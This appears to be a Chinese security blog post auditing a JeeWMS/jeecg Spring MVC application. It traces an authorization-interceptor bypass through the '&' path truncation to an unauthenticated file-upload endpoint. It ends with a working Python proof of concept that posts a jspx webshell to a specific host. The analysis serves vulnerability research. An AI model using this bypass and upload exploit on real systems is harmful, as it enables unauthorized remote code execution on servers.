Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1362 字
7 分钟
JAVA的MVC项目未授权上传绕过链
2026-03-18
统计加载中...

JAVA的MVC项目未授权上传绕过链#

碰到spring老项目了

开始看看总调度器web.xml

<servlet>
<description>spring mvc servlet</description>
<servlet-name>springMvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<description>spring mvc 配置文件</description>
<param-name>contextConfigLocation</param-name>
<param-value>classpath*:spring-mvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMvc</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>springMvc</servlet-name>
<url-pattern>*.action</url-pattern>
</servlet-mapping>

定义了总调度器spring-mvc.xml,进一步查看,

并且只要有.do结尾全部丢入springMvc进行请求。

然后看spring-mvc的配置项

<mvc:interceptor>
<mvc:mapping path="/**" />
<bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
<property name="excludeUrls">
<list>
<value>loginController.do?goPwdInit</value>
<value>loginController.do?pwdInit</value>
<value>loginController.do?login</value>
<value>loginController.do?logout</value>
<value>loginController.do?changeDefaultOrg</value>
<value>loginController.do?login2</value>
<value>loginController.do?login3</value>
<value>loginController.do?checkuser</value>
<value>loginController.do?checkuser=</value>
<value>repairController.do?repair</value>
<value>systemController.do?saveFiles</value>
<value>repairController.do?deleteAndRepair</value>
<value>userController.do?userOrgSelect</value>
<!--移动图表-->
<value>cgDynamGraphController.do?design</value>
<value>cgDynamGraphController.do?datagrid</value>
<value>cgDynamGraphController.do?datagrid</value>
<value>rest/wvGiNoticeController/search</value>
<value>rest/tokens/login</value>
<value>rest/wmToDownGoodsController</value>
<value>rest/wmToUpGoodsController</value>
<value>rest/wmInQmIController</value>
<value>rest/wvNoticeController</value>
<value>rest/wvGiController</value>
<value>rest/mdGoodsController</value>
<value>rest/wvStockController</value>
<value>rest/wmSttInGoodsController</value>
<value>rest/wmToMoveGoodsController</value>
<value>rest/wmBaseController/showOrDownqrcodeByurl</value>
<!-- 菜单样式图标预览 -->
<value>webpage/common/functionIconStyleList.jsp</value>
</list>
</property>
<property name="excludeContainUrls">
<list>
<value>systemController/showOrDownByurl.do</value>
<value>wmsApiController.do</value>
</list>
</property>
</bean>
</mvc:interceptor>

这里给类org.jeecgframework.core.interceptors.AuthInterceptor添加了属性

excludeUrls以及excludeContainUrls。以及这里也配了很多list

因为看到鉴权的AuthInterceptor。

就可以有意识打打接口,直接跟进

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
String requestPath = ResourceUtil.getRequestPath(request);
if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
return true;
} else if (this.excludeUrls.contains(requestPath)) {
return true;
} else if (this.moHuContain(this.excludeContainUrls, requestPath)) {
return true;

核心在于AuthInterceptor的子类prehandler中,这里的精确匹配属性值在xml配给

原意是xml所声明的文件可访问,但是只要带上符合的value就可以访问,是包含的关系

现在生出两个想法,在我知道这个项目存在uploadfile前提的情况下,可以利用的点

就是上传webshell绕过检测,但是具体走哪一条绕过检查

得进一步看函数对传进的路径处理,跟进getRequestPath

public static String getRequestPath(HttpServletRequest request) {
String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if (StringUtils.isNotEmpty(queryString)) {
requestPath = requestPath + "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {
requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);
return requestPath;
}

总结来说,以?截断和以&截断,如果存在&直接按照&截断,那样我们就可以直接打upload的未授权

也就是拼接处upload?wmsApiController.do&xxxx这样的路径,

处理之后就是upload?wmsApiController.do,

存在wmsApiController.do,直接放行到upload的接口,

并且这里不存在进一步鉴权,那就直接看upload的接口

@Controller
@RequestMapping({"/cgUploadController"})
public class CgUploadController extends BaseController {
private static final Logger logger = Logger.getLogger(CgUploadController.class);
@Autowired
private SystemService systemService;
@Autowired
private CgUploadServiceI cgUploadService;
public CgUploadController() {
}
@RequestMapping(
params = {"saveFiles"},
method = {RequestMethod.POST}
)
@ResponseBody
public AjaxJson saveFiles(HttpServletRequest request, HttpServletResponse response, CgUploadEntity cgUploadEntity) {
AjaxJson j = new AjaxJson();
Map<String, Object> attributes = new HashMap(1024);
String fileKey = oConvertUtils.getString(request.getParameter("fileKey"));
String id = oConvertUtils.getString(request.getParameter("cgFormId"));
String tableName = oConvertUtils.getString(request.getParameter("cgFormName"));
String cgField = oConvertUtils.getString(request.getParameter("cgFormField"));
if (!StringUtil.isEmpty(id)) {
cgUploadEntity.setCgformId(id);
cgUploadEntity.setCgformName(tableName);
cgUploadEntity.setCgformField(cgField);
}
if (StringUtil.isNotEmpty(fileKey)) {
cgUploadEntity.setId(fileKey);
cgUploadEntity = (CgUploadEntity)this.systemService.getEntity(CgUploadEntity.class, fileKey);
}
UploadFile uploadFile = new UploadFile(request, cgUploadEntity);
uploadFile.setCusPath("files");
uploadFile.setSwfpath("swfpath");
uploadFile.setByteField((String)null);
cgUploadEntity = (CgUploadEntity)this.systemService.uploadFile(uploadFile);
this.cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath());
attributes.put("fileKey", cgUploadEntity.getId());
attributes.put("viewhref", "commonController.do?objfileList&fileKey=" + cgUploadEntity.getId());
attributes.put("delurl", "commonController.do?delObjFile&fileKey=" + cgUploadEntity.getId());
j.setMsg("操作成功");
j.setAttributes(attributes);
return j;
}

初步一看,并没有任何鉴权和黑名单,也就是完全依赖于拦截器的校验

获取表单的fileKey,cgFormId,cgFormName,cgFormField参数

并且不写数据库uploadFile.setByteField((String)null);

继续跟进函数uploadfile

public Object uploadFile(UploadFile uploadFile) {
Object object = uploadFile.getObject();
if (uploadFile.getFileKey() != null) {
this.updateEntitie(object);
} else {
try {
uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8");
MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
ReflectHelper reflectHelper = new ReflectHelper(uploadFile.getObject());
String uploadbasepath = uploadFile.getBasePath();
if (uploadbasepath == null) {
uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
}
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
String path = uploadbasepath + "/";
String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;
File file = new File(realPath);
if (!file.exists()) {
file.mkdirs();
}
if (uploadFile.getCusPath() != null) {
realPath = realPath + uploadFile.getCusPath() + "/";
path = path + uploadFile.getCusPath() + "/";
file = new File(realPath);
if (!file.exists()) {
file.mkdirs();
}
} else {
realPath = realPath + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
path = path + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
file = new File(realPath);
if (!file.exists()) {
file.mkdir();
}
}
String entityName = uploadFile.getObject().getClass().getSimpleName();
if ("TSTemplate".equals(entityName)) {
realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + ResourceUtil.getConfigByName("templatepath") + "/";
path = ResourceUtil.getConfigByName("templatepath") + "/";
} else if ("TSIcon".equals(entityName)) {
realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + uploadFile.getCusPath() + "/";
path = uploadFile.getCusPath() + "/";
}
String fileName = "";
String swfName = "";
for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
MultipartFile mf = (MultipartFile)entity.getValue();
fileName = mf.getOriginalFilename();
swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));
String extend = FileUtils.getExtend(fileName);
String myfilename = "";
String noextfilename = "";
if (uploadFile.isRename()) {
noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
myfilename = noextfilename + "." + extend;
} else {
myfilename = fileName;
}
String savePath = realPath + myfilename;
String fileprefixName = FileUtils.getFilePrefix(fileName);
if (uploadFile.getTitleField() != null) {
reflectHelper.setMethodValue(uploadFile.getTitleField(), fileprefixName);
}
if (uploadFile.getExtend() != null) {
reflectHelper.setMethodValue(uploadFile.getExtend(), extend);
}
if (uploadFile.getByteField() != null) {
}
File savefile = new File(savePath);
if (uploadFile.getRealPath() != null) {
reflectHelper.setMethodValue(uploadFile.getRealPath(), path + myfilename);
}
this.saveOrUpdate(object);
if ("txt".equals(extend)) {
byte[] allbytes = mf.getBytes();
try {
String head1 = this.toHexString(allbytes[0]);
String head2 = this.toHexString(allbytes[1]);
if ("ef".equals(head1) && "bb".equals(head2)) {
String contents = new String(mf.getBytes(), "UTF-8");
if (StringUtils.isNotBlank(contents)) {
OutputStream out = new FileOutputStream(savePath);
out.write(contents.getBytes());
out.close();
}
} else {
String contents = new String(mf.getBytes(), "GBK");
OutputStream out = new FileOutputStream(savePath);
out.write(contents.getBytes());
out.close();
}
} catch (Exception var27) {
String contents = new String(mf.getBytes(), "UTF-8");
if (StringUtils.isNotBlank(contents)) {
OutputStream out = new FileOutputStream(savePath);
out.write(contents.getBytes());
out.close();
}
}
} else {
FileCopyUtils.copy(mf.getBytes(), savefile);
}
if (uploadFile.getSwfpath() != null) {
reflectHelper.setMethodValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + ".swf");
SwfToolsUtil.convert2SWF(savePath);
}
}
} catch (Exception var28) {
}
}
return object;
}

因为在默认配置中

basePath=“upload”; rename=true;

会保留拓展名可但是会重写文件名

这里拿到磁盘真实路径

String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;

因为rename是为true的,所以走

if (uploadFile.isRename()) {
noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
myfilename = noextfilename + "." + extend;

虽然是8位随机字符串,但是我们未授权文件上传的时候是可以直接返回文件名的,少了文件名枚举的步骤了

同时因为存在数据库写回

writeBack(id, tableName, cgField, fileKey, realPath)

上传的字段也就不能瞎弄了,但是白盒给了sql文件,得以让我们有正确的表名可以填入

以下是POC

import requests
url = 'http://101.245.81.83:10019/jeewms/cgUploadController.do?wmsApiController.do&saveFiles'
data = {
'cgFormId': '1', # 可以使用一个存在的表单ID
'cgFormName': 'cgform_uploadfiles', # 正确的表名
'cgFormField': 'CGFORM_FIELD' # 文件内容字段
}
with open('exp.jspx', 'rb') as f:
files = {
'file': ('exp.jspx', f, 'application/octet-stream')
}
# 同时传递data和files参数
res = requests.post(url=url, data=data, files=files)
print(res.text)

上传jspx就可以直接打webshell了

推完链子的感触

还是得先从路由看起,如果没看路由的白盒还是过于抽象了

也许是自己审计能力的问题

在xml配置项也是有很多点可以继续跟进的

以上

JAVA的MVC项目未授权上传绕过链
https://steins-gate.cn/posts/java1/
作者
萦梦sora~Nya
发布于
2026-03-18
许可协议
Unlicensed

部分信息可能已经过时

封面
示例歌曲
示例艺术家
封面
示例歌曲
示例艺术家
0:00 / 0:00